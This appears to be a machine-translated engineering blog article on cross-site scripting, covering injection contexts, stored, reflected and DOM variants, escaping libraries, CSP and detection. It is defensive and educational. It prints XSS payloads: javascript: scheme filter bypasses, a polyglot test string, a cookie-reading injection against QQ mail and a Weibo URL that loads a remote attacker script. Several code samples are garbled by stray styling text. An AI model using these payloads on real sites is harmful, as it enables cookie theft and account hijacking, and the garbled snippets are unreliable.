The front security
With the rapid development of the Internet, information security has become one of the focus of attention of enterprises, and the front end is a high-risk stronghold to cause enterprise security problems. In the era of mobile Internet, in addition to traditional SECURITY problems such as XSS and CSRF, front-end personnel often encounter new security problems such as network hijacking and illegal invocation of Hybrid API. Of course, the browser itself is constantly evolving and developing, and new technologies such as CSP and same-site Cookies are constantly introduced to enhance security, but there are still many potential threats, which require front-end technicians to constantly “check and fill in the gaps”.
In recent years, with the rapid development of meituan’s business, the front end is faced with many security challenges, so it has accumulated a lot of practical experience. We have sorted out common front-end security problems and corresponding solutions, which will be made into a series, hoping to help front-end personnel constantly prevent and fix security holes in daily development. This article is the first in a series.
In this article, we will explain XSS, mainly including:
- Introduction to XSS attacks
- Classification of XSS attacks
- XSS attack prevention and detection
- Summary of XSS attacks
- XSS attack case
Introduction to XSS attacks
Before we start this article, let’s ask a question to determine whether the following two statements are true:
- XSS defense is the responsibility of the back-end RD. The back-end RD must escape sensitive characters on all interfaces where users submit data before performing the next operation.
- All data to be inserted into the page is escaped by a sensitive character filter function to filter out common sensitive characters before being inserted into the page.
If you’re not sure, look down with these questions and we’ll break them down.
Occurrence and repair of XSS vulnerabilities
XSS attack is the page is injected malicious code, in order to more vivid introduction, we use the case happened in Xiaoming classmate to explain.
A case study
One day, the company needs a search page that determines the content of the keywords based on the URL parameters. Xiao Ming quickly wrote the page and put it online. The code is as follows:
<input type="text" value="<%= getParameter("keyword") % >">
<button>search</button>
<div>The keywords you searched for were:<% = getParameter("keyword") % >
</div>
Copy the code
However, shortly after going online, Xiao Ming received a mysterious link from the security group:
http://xxx/search?keyword="><script>alert('XSS'); </script>
Xiao Ming opened this link with a foreboding [do not imitate, confirm safe link to open]. Sure enough, a dialog box says “XSS” pops up.
Damn it! I fell for it! Xiao Ming frowned and discovered the mystery:
When a browser requests http://xxx/search? keyword=”>, concatenated into HTML and returned to the browser. This forms the following HTML:
<input type="text" value=""><script>alert('XSS');</script>">
<button>search</button>
<div>Your search keyword is: "><script>alert('XSS');</script>
</div>
Copy the code
is malicious code, so execute it.
Not only is the contents of the div being injected, but the value property of the input is being injected, and the alert is popping twice.
In the face of this situation, how should we take precautions?
In fact, the browser simply executes the user’s input as if it were a script. Just tell the browser it’s text.
Clever Xiao Ming quickly found a solution to fix the bug:
<input type="text" value="<%= escapeHTML(getParameter("keyword")) %>">
<button>search</button>
<div>The keywords you searched for were:<% = escapeHTML(getParameter("keyword")) %>
</div>
Copy the code
EscapeHTML () escapes as follows:
character | Escaped characters |
---|---|
& |
& |
< |
< |
> |
> |
" |
" |
' |
' |
/ |
/ |
After the escape function, the final response received by the browser is:
<input type="text" value="" > < script> alert(' XSS') ; < / script>">
<button>search</button>
<div>The keyword you search for is:" > < script> alert(' XSS') ; < / script></div>
Copy the code
The malicious code is escaped and is no longer executed by the browser, and the search terms are perfectly displayed on the page.
Through this event, Xiao Ming learned the following knowledge:
- Typically, pages contain user input in the form of text, within fixed containers or properties.
- Attackers take advantage of the user input fragments of these pages, splicing special-format strings, breaking through the limitations of the original location, forming code fragments.
- Attackers create potential risks by injecting scripts into the target site and making them run on the user’s browser.
- By using HTML escapes, you can prevent XSS attacks. Of course it’s not that simple! Keep reading.
Note the special HTML attributes, JavaScript apis
Since the last event, Xiao Ming will carefully escape the data inserted into the page. He also found that most templates come with an escape configuration that makes all data inserted into the page escape by default. This is not afraid of accidentally missing unescaped variables, so xiaoming’s work gradually become easier.
However, as a director, I can not let Xiao Ming so simple, happy to change the Bug.
Before long, xiao Ming receives the mysterious link of security group again: http://xxx/? Redirect_to = javascript: alert (‘ XSS). Xiao Ming dare not careless, quickly open the page. However, the page does not automatically pop up with the evil “XSS.”
Xiaoming opened the corresponding page of the source code, found the following content:
<a href="<%= escapeHTML(getParameter("redirect_to")) %>"> jump...</a>
Copy the code
This code, when the attack URL is http://xxx/? Redirect_to =javascript:alert(‘XSS’);
<a href="javascript:alert(' XSS') ">Jump...</a>
Copy the code
The code doesn’t execute immediately, but once the user clicks on the A TAB, the browser will pop up “XSS.”
Damn it, another misstep…
In this case, the user’s data does not break our limitations in location and is still the correct href attribute. But the content was not what we expected.
It turns out that not only special characters, but javascript: strings can also trigger XSS attacks if they appear in specific locations.
Xiao Ming frowned and thought of a solution:
XSS = getParameter("redirect_to").startswith ('javascript:'); XSS = getParameter("redirect_to").startswith ('javascript:'); if (! XSS) {< a href = "< % = escapeHTML (getParameter (" redirect_to")) % > "> jump... < span style =" box-sizing: border-box; color: RGB (74, 74, 74); line-height: 22px; font-size: 14px! Important; white-space: inherit! Important;" </a> }Copy the code
Is it safe as long as the URL doesn’t start with javascript:?
The security group conveniently threw another connection: http://xxx/? redirect_to=jAvascRipt:alert(‘XSS’)
Can this be implemented? . Well, that’s how powerful browsers are.
Xiao Ming wants to cry, in the judgment of whether the URL begins with javascript:, first the user input into lowercase, and then compare.
However, as the saying goes, “While the priest climbs a post, the devil climbs ten.” Facing Xiaoming’s protection policy, the security group constructs such a connection:
http://xxx/?redirect_to=%20javascript:alert('XSS')
%20javascript:alert(‘XSS’) becomes javascript:alert(‘XSS’) after URL parsing. This string starts with a space. In this way, the attacker can bypass the keyword rules on the back end and successfully complete the injection.
In the end, Xiao Ming chose the whitelist method and completely solved this loophole:
AllowSchemes = [" HTTP ", "HTTPS "]; allowSchemes = [" HTTP "," HTTPS "]; valid = isValid(getParameter("redirect_to"), allowSchemes); If (valid) {< a href = "< % = escapeHTML (getParameter (" redirect_to")) % > "> jump... < span style =" box-sizing: border-box; color: RGB (74, 74, 74); line-height: 22px; font-size: 14px! Important; white-space: inherit! Important;" </a> }Copy the code
Through this event, Xiao Ming learned the following knowledge:
- Making HTML escapes is not safe.
- For link jumps, such as
<a href="xxx"
或location.href="xxx"
To test its content, prohibit tojavascript:
Opening links, and other illegal schemes.
Different escape rules are used depending on the context
One day, Xiao Ming, in order to speed up the loading of web pages, inline a data into HTML using JSON:
<script>
var initData = <% = data.toJSON() % >
</script>
Copy the code
You cannot use escapeHTML() where you insert JSON, because the JSON format will be broken after escaping “.
However, the security group also found a vulnerability, so it is not safe to inline JSON:
- When the JSON contains
U+2028
或U+2029
These two characters cannot be used as JavaScript literals, otherwise a syntax error will be thrown. - When JSON contains a string
</script>
The current script tag is closed, and the following string content is parsed by the browser as HTML. By adding the next one<script>
Tag and so on.
Again, we implement the escapeEmbedJSON() function to escape the inline JSON.
The escape rules are as follows:
character | Escaped characters |
---|---|
U+2028 |
\u2028 |
U+2029 |
\u2029 |
< |
\u003c |
The fixed code looks like this:
<script>
var initData = <% = escapeEmbedJSON(data.toJSON()) % >
Copy the code
Through this event, Xiao Ming learned the following knowledge:
- HTML escaping is very complex and requires different rules for escaping in different situations. If you use the wrong escape rules, you can potentially create XSS problems.
- You should avoid writing your own escape libraries as much as possible, and instead use mature, industry-wide escape libraries.
Bug summary
Xiaoming’s example is finished, let’s take a systematic look at what XSS injection methods:
- In text embedded in HTML, malicious content is injected with script tags.
- In inline JavaScript, concatenation of data goes beyond the limits (strings, variables, method names, etc.).
- In tag attributes, malicious content contains quotes to break the attribute value and inject other attributes or tags.
- In the href, SRC and other attributes of the tag, include
javascript:
Etc executable code. - In onLoad, onError, onclick and other events, inject uncontrolled code.
- In the style attribute and tag, include similar
background-image:url("javascript:..." );
(new versions of the browser are already protected against). - In the style attribute and tag, include similar
expression(...)
CSS expression code (which newer versions of browsers can already guard against).
In short, it’s easy to create an injection vulnerability if a developer inserts text into HTML without properly filtering user input. Attackers can use the vulnerability to construct malicious code instructions, and then use malicious code to harm data security.
Classification of XSS attacks
From the examples above, we already know something about XSS.
What is a XSS
Cross-site Scripting (XSS) is a code injection attack. By injecting a malicious script into the target website, the attacker makes it run on the user’s browser. Using these malicious scripts, attackers can obtain sensitive user information such as cookies and sessionIDS, thereby compromising data security.
To distinguish it from CSS, the first letter of the attack is changed to X, so it is called XSS.
The essence of XSS is that malicious code is unfiltered and mixed with the normal code of the site; The browser cannot tell which scripts are trusted, causing malicious scripts to be executed.
Because it is executed directly at the user’s terminal, the malicious code can directly obtain the user’s information, or use the information to impersonate the user to launch the request defined by the attacker to the website.
In some cases, the injected malicious script is shorter due to input restrictions. However, more complex attack strategies can be accomplished by introducing external scripts that are executed by the browser.
Here’s the question: How do users “inject” malicious scripts?
Not only the business “user’S UGC content” can be injected, but also the URL parameters can be the source of attacks. None of the following can be trusted when processing input:
- UGC information from the user
- Links from third parties
- The URL parameter
- POST parameters
- Referer (may come from untrusted sources)
- Cookie (possibly from another subdomain injection)
XSS classification
According to the source of attacks, XSS attacks can be classified into three types: storage, reflection and DOM.
| | type store * * | | the insertion point | | – | | type stored XSS | | back-end database HTML | | reflective XSS | | HTML URL | | type DOM XSS | back-end database front-end storage/URL | front-end JavaScript |
- Storage area: A location where malicious code is stored.
- Insertion point: who gets the malicious code and inserts it into the web page.
Type stored XSS
Attack steps of storage XSS:
- The attacker submits the malicious code to the target site’s database.
- When the user opens the target site, the server pulls the malicious code out of the database and returns it to the browser in HTML.
- The user’s browser receives the response, parses it and executes the malicious code mixed in.
- Malicious code steals user data and sends it to the attacker’s website, or impersonates a user to invoke the target website interface to perform operations specified by the attacker.
Such attacks are common on web features with user saved data, such as forum posts, product reviews, and private messages.
Reflective XSS
The attack steps of reflective XSS:
- Attackers construct special urls that contain malicious code.
- When a user opens a URL with malicious code, the web server takes the malicious code out of the URL and returns it to the browser in HTML.
- The user’s browser receives the response, parses it and executes the malicious code mixed in.
- Malicious code steals user data and sends it to the attacker’s website, or impersonates a user to invoke the target website interface to perform operations specified by the attacker.
The difference between reflected XSS and stored XSS is that the malicious code of stored XSS is stored in the database, while the malicious code of reflected XSS is stored in the URL.
Reflective XSS vulnerabilities are commonly found in functions that pass parameters through urls, such as website search, jump, and so on.
Because the user needs to open the malicious URL to take effect, the attacker will often use a variety of methods to induce the user to click.
The content of a POST can also trigger reflective XSS, though it is rare because the conditions for triggering it are more demanding (the form-submission page is constructed and the user is directed to click).
The DOM model XSS
DOM XSS attack steps:
- Attackers construct special urls that contain malicious code.
- The user opens a URL with malicious code.
- The user’s browser receives the response, parses it and executes it. The front-end JavaScript pulls out the malicious code in the URL and executes it.
- Malicious code steals user data and sends it to the attacker’s website, or impersonates a user to invoke the target website interface to perform operations specified by the attacker.
DOM XSS is different from the previous two XSS: In DOM XSS attack, the extraction and execution of malicious code is done by the browser side, which is a security vulnerability of the front-end JavaScript itself, while the other two XSS are security vulnerabilities of the server side.
XSS attack prevention
From the previous introduction, XSS attacks have two main elements:
- The attacker submits malicious code.
- The browser executes malicious code.
For the first element: Can we filter out malicious code from user input during the process?
The input filter
When the user submits, the input is filtered by the front end and then submitted to the back end. Is this feasible?
The answer is no. Once the attacker bypasses the front-end filtering and constructs the request directly, the malicious code can be submitted.
Then, change the filtering timing: the back end filters the input before writing to the database, and then returns the “safe” content to the front end. Is that feasible?
For example, if a normal user enters 5 < 7, it is escaped and changed to 5 < before being written to the database. 7.
Here’s the problem: during the commit phase, we’re not sure where the content is going to be exported.
The phrase “not sure where to print” has two meanings:
- User input may be provided to both the front end and the client, and once passed
escapeHTML()
, the content displayed by the client becomes garbled (5 < 7
). - In the front end, different locations require different coding.
-
When 5 & lt; 7 When the page is used as HTML splicing, it can be displayed normally:
<div title="comment">5 < 7</div> Copy the code
-
When 5 & lt; When returned via Ajax and assigned to a JavaScript variable, the string the front end gets is the escaped character. This content cannot be directly used for the presentation of templates such as Vue, nor can it be directly used for content length calculation. Cannot be used for headings, alert, etc.
So, input side filtering can solve specific XSS problems in some cases, but it introduces a lot of uncertainty and garbled characters. Avoid this approach when defending against XSS attacks.
Of course, for specific types of input, such as numbers, urls, phone numbers, email addresses, and so on, input filtering is necessary.
Since input filtering is not completely reliable, we need to protect against XSS by preventing the browser from executing malicious code. This section falls into two categories:
- Prevent injection in HTML.
- Prevents JavaScript execution when executing malicious code.
Prevent storage and reflection XSS attacks
Both stored and reflected XSS are inserted into the response HTML after the server pulls out malicious code. The “data” that the attacker wrote is embedded in the “code” and executed by the browser.
There are two common ways to prevent these two vulnerabilities:
- Change to pure front-end rendering, separating code from data.
- Fully escape the HTML.
Pure front-end rendering
Pure front-end rendering process:
- The browser starts by loading a static HTML that does not contain any business-related data.
- The browser then executes the JavaScript in the HTML.
- JavaScript loads the business data through Ajax and calls the DOM API to update it to the page.
In a pure front-end render, we explicitly tell the browser whether the next thing to set is text (.innertext), an attribute (.setAttribute), a style (.style), and so on. Browsers can no longer be easily tricked into executing code that is not intended.
However, pure front-end rendering should also pay attention to avoid DOM TYPE XSS vulnerabilities (such as onload event and javascript: XXX in href, please refer to the section “Prevention of DOM type XSS Attacks” below).
In many internal and management systems, pure front-end rendering is appropriate. But for pages with high performance requirements or SEO requirements, we still have to deal with the problem of concatenated HTML.
Escaped HTML
If concatenation of HTML is necessary, a suitable escape library is needed to adequately escape insertion points throughout the HTML template.
Common template engines, such as dot.js, ejs, FreeMarker, etc., usually have only one rule for HTML escaping, which is to escape the &< > “‘/characters. This does provide some XSS protection, but it’s not perfect:
XSS security vulnerability | Whether simple escapes are protective |
---|---|
HTML tag text content | There are |
HTML attribute values | There are |
CSS inline styles | There is no |
Inline JavaScript | There is no |
Inline JSON | There is no |
Skip links | There is no |
So to improve XSS protection, we need to use more sophisticated and detailed escape strategies.
For example, in Java projects, the common escape library is org.owasp. Encoder. The following code is referenced from the official description of org.owasp. Encoder.
<! -- text content inside HTML tags -->
<div><% = Encode.forHtml(UNTRUSTED) % ></div>
<! -- HTML attribute value -->
<input value="<%= Encode.forHtml(UNTRUSTED) %>" />
<! -- CSS attribute values -->
<div style="width:<= Encode.forCssString(UNTRUSTED) %>">
<! -- CSS URL -->
<div style="background:<= Encode.forCssUrl(UNTRUSTED) %>">
<! -- JavaScript inline code block -->
<script>
var msg = "<%= Encode.forJavaScript(UNTRUSTED) %>";
alert(msg);
</script>
<! -- JavaScript inline code block inline JSON -->
<script>
var __INITIAL_STATE__ = JSON.parse('<%= Encoder.forJavaScript(data.to_json) %>');
</script>
<! -- HTML tag inline listener -->
<button
onclick="alert('<%= Encode.forJavaScript(UNTRUSTED) %>');">
click me
</button>
<! -- URL parameter -->
<a href="/search? value=<%= Encode.forUriComponent(UNTRUSTED) %>&order=1#top">
<! -- URL path -->
<a href="/page/<%= Encode.forUriComponent(UNTRUSTED) %>">
<! -- URL. Note: filter according to the project, disable "javascript:" links, illegal scheme, etc.
<a href='<%= urlValidator.isValid(UNTRUSTED) ? Encode.forHtml(UNTRUSTED) : "/404" %>'>
link
</a>
Copy the code
As you can see, HTML coding is very complex, and escape rules are used in different contexts.
Prevent DOM XSS attacks
DOM XSS attack, in fact, is the website front-end JavaScript code itself is not rigorous enough, the untrusted data as code execution.
When using.innerHTML,.outerHTML, document.write(), be careful not to insert untrusted data into the page as HTML. Instead, use.textContent,.setAttribute(), etc.
If using the Vue/React technology stack, and do not use the v – HTML/dangerouslySetInnerHTML function, on the front end render phase avoid innerHTML, outerHTML XSS concerns.
<! Inline event listener contains malicious code -->
<img onclick="UNTRUSTED" onerror="UNTRUSTED" src="data:image/png,">
<! -- Link contains malicious code -->
<a href="UNTRUSTED">1</a>
<script>
// Call malicious code in setTimeout()/setInterval()
setTimeout("UNTRUSTED")
setInterval("UNTRUSTED")
// Location calls malicious code
location.href = 'UNTRUSTED'
// Call malicious code in eval()
eval("UNTRUSTED")
</script>
Copy the code
Avoid concatenating untrusted data into strings if these are useful in your project.
Other XSS precautions
While XSS can be prevented by careful escapes when rendering pages and executing JavaScript, it is not enough to rely solely on development care. The following are some general solutions to reduce the risks and consequences of XSS.
Content Security Policy
Strict CSP can play the following roles in XSS prevention:
- The loading of external domain code is prohibited to prevent complex attack logic.
- If the site is attacked, user data will not be leaked to the outdomain.
- Inline script execution is prohibited (strict rule, currently found on GitHub).
- Prohibit unauthorized script execution (new feature, Google Map Mobile).
- Proper use of the report can discover XSS in a timely manner and help rectify problems as soon as possible.
For more on CSP, stay tuned for future articles in the front End Security series.
Input content length control
Any untrusted input should be limited to a reasonable length. While XSS cannot be completely prevented, it can make XSS attacks more difficult.
Other safety measures
- Http-only Cookie: JavaScript is not allowed to read certain sensitive cookies. An attacker cannot steal this Cookie even after XSS injection is complete.
- Verification code: prevents scripts from posing as users to submit dangerous operations.
The detection of XSS
The above experience made Xiao Ming harvest a lot, he also learned how to prevent and fix XSS vulnerabilities, and had the relevant security awareness in daily development. But how do you detect XSS vulnerabilities in code that is already online?
After a search, Xiao Ming found two methods:
- Manually detect XSS vulnerabilities using generic XSS attack strings.
- Use a scanning tool to automatically detect XSS vulnerabilities.
In Unleashing an Ultimate XSS Polyglot, Xiaoming found a string like this:
jaVasCript:/ * - / * ` \ ` / / * * / * "/ * * /(/ * * /oNcliCk=alert() )//%0D%0A%0d%0a//\x3csVg/
Copy the code
It can detect XSS vulnerabilities in various contexts such as HTML attributes, HTML text content, HTML comments, jump links, inline JavaScript strings, inline CSS stylesheets, etc. It can also detect DOM XSS vulnerabilities such as eval(), setTimeout(), setInterval(), Function(), innerHTML, document.write(), and bypass some XSS filters.
As long as Xiaoming submits the string in the input box of the website, or concatenates it to the URL parameter, it can be detected.
http://xxx/search?keyword=jaVasCript%3A%2F*-%2F*%60%2F*%60%2F*%27%2F*%22%2F**%2F(%2F*%20*%2FoNcliCk%3Dalert()%20)%2F%2F% 250D%250A%250d%250a%2F%2F%3C%2FstYle%2F%3C%2FtitLe%2F%3C%2FteXtarEa%2F%3C%2FscRipt%2F--! %3E%3CsVg%2F%3CsVg%2FoNloAd%3Dalert()%2F%2F%3E%3ECopy the code
In addition to manual detection, you can also use automatic scanning tools to find XSS vulnerabilities, such as Arachni, Mozilla HTTP Observatory, W3AF, etc.
Summary of XSS attacks
Let’s go back to the question we started with, and I think you already have the answer:
- XSS defense is the responsibility of the back-end RD. The back-end RD must escape sensitive characters on all interfaces where users submit data before proceeding with the next step.
Is not correct. Because:
- Defense against storage and reflection XSS is the responsibility of the back-end RD. DOM type XSS attack does not occur in the back end, which is the responsibility of the front end RD. XSS prevention is a system engineering that requires the participation of both back-end RD and front-end RD.
- Escaping should be done when HTML is output, not when user input is submitted.
- All data to be inserted into the page is escaped by a sensitive character filter function to filter out common sensitive characters before being inserted into the page.
Is not correct. Different contexts, such as HTML attributes, HTML literal content, HTML comments, jump links, inline JavaScript strings, inline CSS stylesheets, and so on, require inconsistent escape rules. Business RDS need to select appropriate escape libraries and invoke different escape rules for different contexts.
The overall XSS prevention is very complicated and cumbersome. We not only need to escape the data in all the locations that need to be escaped. And to prevent redundant and wrong escape, avoid normal user input garbled.
While it is difficult to avoid XSS completely through technical means, we can summarize the following principles to reduce the occurrence of vulnerabilities:
- Using a template engineEnable the HTML escape function provided by the template engine. For example: in EJS, try to use
<%= data %>
Rather than<%- data %>
; In dot.js, try to use{{! data }
Rather than{{= data }
; In FreeMarker, make sure the engine version is later than 2.3.24 and the correct one is selectedfreemarker.core.OutputFormat
. - Avoid inline eventsTry not to use
onLoad="onload('{{data}}')"
,onClick="go('{{action}}')"
The way this splice inline event is written. Pass in JavaScript.addEventlistener()
Event binding is more secure. - Avoid concatenated HTMLConcatenation of HTML on the front end is dangerous, if the framework allows it, use it
createElement
,setAttribute
And so on. Or use a more mature rendering framework such as Vue/React. - Keep your wits about you when inserting into DOM properties, links, and so on.
- Increasing the difficulty of attacks and reducing the consequences of attacks The CSP, input length configuration, and interface security measures are used to increase the difficulty of attacks and reduce the consequences of attacks.
- Proactive detection and discovery can use XSS attack strings and automatic scanning tools to find potential XSS vulnerabilities.
XSS attack case
QQ emailm.exmail.qq.comDomain name reflective XSS vulnerability
Attackers found http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb this URL parameter uin, domain without escape output directly to the HTML.
The attacker then builds a URL and directs the user to click: http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3 B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B
When the user clicks on the URL, the server retrieves the URL parameters and concatenates them into the HTML response:
<script>
getTop().location.href="/cgi-bin/loginpage? autologin=n&errtype=1&verify=&clientuin=aaa"+"&t="+"&d=bbbb";return false;</script><script>alert(document.cookie)</script>"+"...
Copy the code
After the browser receives the response, it will execute alert(document.cookie), and the attacker can steal the current user’s cookie under the DOMAIN name of QQ mailbox through JavaScript, thereby endangering the data security.
Sina Weibo Hall of Fame reflective XSS vulnerability
Content of the attacker found this URL http://weibo.com/pub/star/g/xyyyd without filter output directly into HTML.
The attacker then builds a URL and induces the user to click:
http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>
When the user clicks on the URL, the server pulls out the request URL and concatenates it into the HTML response:
<li><a href="http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>"> < p style = "max-width: 100%; clear: both</a></li>
Copy the code
After the browser receives the response, it will load and execute the malicious script //xxxx.cn/image/t.js. In the malicious script, the login status of the user is used to follow, send microblog, send private message and other operations. The sent microblog and private message can be taken with the attack URL, inducing more people to click, and continuously magnifying the attack range. This way of using a victim’s identity to post malicious content and amplify the range of attacks is known as an “XSS worm.”
Extended reading: Automatic Context-aware Escaping
Above we said:
- Proper HTML escapes can effectively avoid XSS vulnerabilities.
- A good escape library requires multiple rules for context, such as HTML attributes, HTML literal content, HTML comments, jump links, inline JavaScript strings, inline CSS stylesheet, and so on.
- The service RD needs to select different escape rules according to the context of each insertion point.
In general, the escape library is Not context-aware of the insertion point, and the onus falls on the business RD to enforce the escape rules, each of which needs to fully understand the various conditions of XSS, and to ensure that the correct escape rules are used at each insertion point.
This mechanism workload is large, all by manual guarantee, it is easy to cause XSS vulnerabilities, it is difficult for security personnel to find hidden dangers.
In 2009, Google introduced a concept called Automatic Context-Aware Escaping.
Context-aware means that when the template engine parses the template string, it parses the template syntax, analyzes the Context of each insertion point, and automatically selects different escape rules accordingly. This reduces the workload of the business RD and reduces human oversight.
In a template engine that supports Automatic Context-Aware Escaping, business RD can define templates like this without manually implementing escape rules:
<html>
<head>
<meta charset="UTF-8">
<title>{{.title}}</title>
</head>
<body>
<a href="{{.url}}">{{.content}}</a>
</body>
</html>
Copy the code
After parsing, the template engine learns the context of the three insertion points and automatically selects the corresponding escape rules:
<html>
<head>
<meta charset="UTF-8">
<title>{{.title | htmlescaper}}</title>
</head>
<body>
<a href="{{.url | urlescaper | attrescaper}}">{{.content | htmlescaper}}</a>
</body>
</html>
Copy the code
The Escaping template engines that are currently supported by Automatic Context-Aware Escaping are:
- go html/template
- Google Closure Templates
Homework: XSS attack game
Here are a few XSS attack mini games where developers intentionally leave some common XSS vulnerabilities on their websites. Players submit the corresponding input on the web page and complete the XSS attack to complete the game.
As you play the game, please reflect and review this article to deepen your understanding of the XSS attack.
alert(1) to win prompt(1) to win XSS game
reference
- Wikipedia. Cross-site scripting, Wikipedia.
- OWASP. XSS (Cross Site Scripting) Prevention Cheat Sheet, OWASP.
- OWASP. Use the OWASP Java Encoder-Use-the-OWASP-Java-Encoder), GitHub.
- Ahmed Elsobky. Unleashing an Ultimate XSS Polyglot, GitHub.
- Jad S. Boutros. Reducing XSS by way of Automatic Context-Aware Escaping in Template Systems, Google Security Blog.
- Vue.js. v-html – Vue API docs, Vue.js.
- React. dangerouslySetInnerHTML – DOM Elements, React.
Next up
Front-end security series will discuss XSS, CSRF, network hijacking, Hybrid security and other security issues. Next time we will discuss CSRF attacks, so stay tuned.
The authors introduce
Li Yang is a front-end engineer at Meituan-Dianping. In 2016, I joined Meituan-Dianping and was responsible for the performance optimization of Hybrid pages of Meituan-Dianping.